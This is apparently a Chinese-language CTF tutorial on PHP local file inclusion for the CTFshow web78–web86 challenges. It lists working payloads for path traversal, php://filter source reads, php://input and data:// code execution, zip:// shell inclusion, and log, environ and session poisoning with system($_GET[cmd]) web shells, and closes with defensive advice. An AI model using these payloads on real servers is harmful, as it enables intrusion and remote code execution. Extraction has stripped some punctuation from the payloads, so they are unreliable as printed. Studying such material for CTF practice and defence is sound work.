CTF文件包含漏洞实战:从LFI到RCE的攻防技巧

CTF文件包含漏洞实战:从LFI到RCE的攻防技巧 1. CTF中的文件包含漏洞基础认知文件包含漏洞File Inclusion是Web安全领域中一种经典的漏洞类型在CTF比赛中尤为常见。简单来说当Web应用程序动态包含文件时如果未对用户输入进行严格过滤攻击者就能通过构造特殊路径读取或执行服务器上的任意文件。这种漏洞通常分为两种形式本地文件包含LFI包含服务器本地的文件远程文件包含RFI通过URL包含远程服务器上的文件在CTFshow的web78-web86这一系列题目中主要考察的是本地文件包含的利用技巧。这类题目通常会给出一个基础的文件包含点然后通过层层过滤限制要求选手找到绕过方法。比如// 典型漏洞代码示例 $file $_GET[file]; include($file . .php);关键点文件包含漏洞的危害不仅在于读取源码更在于它能与其他漏洞如文件上传、日志注入等结合最终实现远程代码执行RCE。2. web78-web86题目环境搭建与初步测试2.1 基础环境配置为了复现和练习这些题目建议搭建以下环境PHP 5.6/7.x Apache环境关闭allow_url_include模拟真实比赛环境开启错误显示方便调试display_errors On在本地创建测试文件时建议建立如下目录结构/var/www/html/ ├── index.php ├── secret.php └── logs/ └── access.log2.2 基础Payload测试对于最简单的文件包含可以尝试以下测试向量http://target.com/?file../../../../etc/passwd http://target.com/?filephp://filter/convert.base64-encode/resourceindex常见的有用文件路径清单/etc/passwd用户信息/proc/self/environ环境变量Apache日志文件通常位于/var/log/apache2/access.logSession文件/tmp/sess_[PHPSESSID]3. web78-80基础绕过技巧实战3.1 后缀名拼接的绕过web78题目通常会添加固定后缀如include($_GET[file] . .php);绕过方法使用%00截断PHP5.3?file../../etc/passwd%00路径长度截断Windows下./超过256字节Linux超过4096字节?file../../etc/passwd/./././...重复足够次数问号绕过?file../../etc/passwd?3.2 web79的特殊过滤这题通常会过滤../等路径遍历字符可以采用绝对路径直接访问?file/etc/passwd编码绕过?file....//....//etc/passwd # 双写绕过 ?file%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL编码3.3 web80的协议限制当题目限制只能包含特定目录时可以尝试?filephp://filter/convert.base64-encode/resourceconfig通过php伪协议读取源码然后base64解码。如果遇到allow_url_includeOff的限制可以结合文件上传日志注入的方式。4. web81-83高级协议利用技巧4.1 php://input的妙用当allow_url_includeOn时可以直接执行POST代码POST /?filephp://input HTTP/1.1 ... ?php system(id);?4.2 data://协议利用data协议可以直接包含代码?filedata://text/plain,?php phpinfo();? ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz84.3 zip://协议绕过如果有文件上传点可以创建包含shell.php的zip包上传后包含?filezip://path/to/upload.zip%23shell5. web84-86实战中的花式绕过5.1 日志文件注入当其他方法都失效时可以尝试在User-Agent中插入PHP代码GET / HTTP/1.1 User-Agent: ?php system($_GET[cmd]);?然后包含日志文件?file../../var/log/apache2/access.log5.2 /proc/self/environ利用如果服务器使用CGI模式可以在请求头注入代码GET /?file/proc/self/environ HTTP/1.1 User-Agent: ?php phpinfo();?刷新多次直到代码执行5.3 Session文件包含需要先获取PHPSESSID设置包含PHP代码的session?php system($_GET[cmd]);?包含session文件?file/tmp/sess_[sessionid]6. 防御方案与题目复盘6.1 安全开发建议对于开发者// 白名单方式校验 $allowed [page1, page2]; if(in_array($_GET[file], $allowed)) { include($_GET[file] . .php); } // 或使用basename防止路径遍历 include(basename($_GET[file]) . .php);6.2 CTF解题思维导图完整解题流程测试基础包含?fileindex尝试路径遍历?file../../etc/passwd测试协议利用php://,data://等检查特殊文件日志、session、环境变量结合其他漏洞上传包含、SQL注入写shell等6.3 常见出题套路总结题目类型典型限制绕过方法基础LFI无过滤直接路径遍历后缀限制添加.php%00截断、超长路径关键词过滤过滤../编码、双写、绝对路径协议限制禁用远程包含php://filter读取源码全限制多重过滤日志注入/session包含在实际CTF比赛中文件包含往往不是独立存在的需要与以下技术结合文件上传获取webshellSQL注入写文件反序列化触发包含SSRF内网探测掌握这些组合技巧才能在比赛中游刃有余。建议在本地搭建测试环境逐个练习每种技术直到能盲打各种变形题目。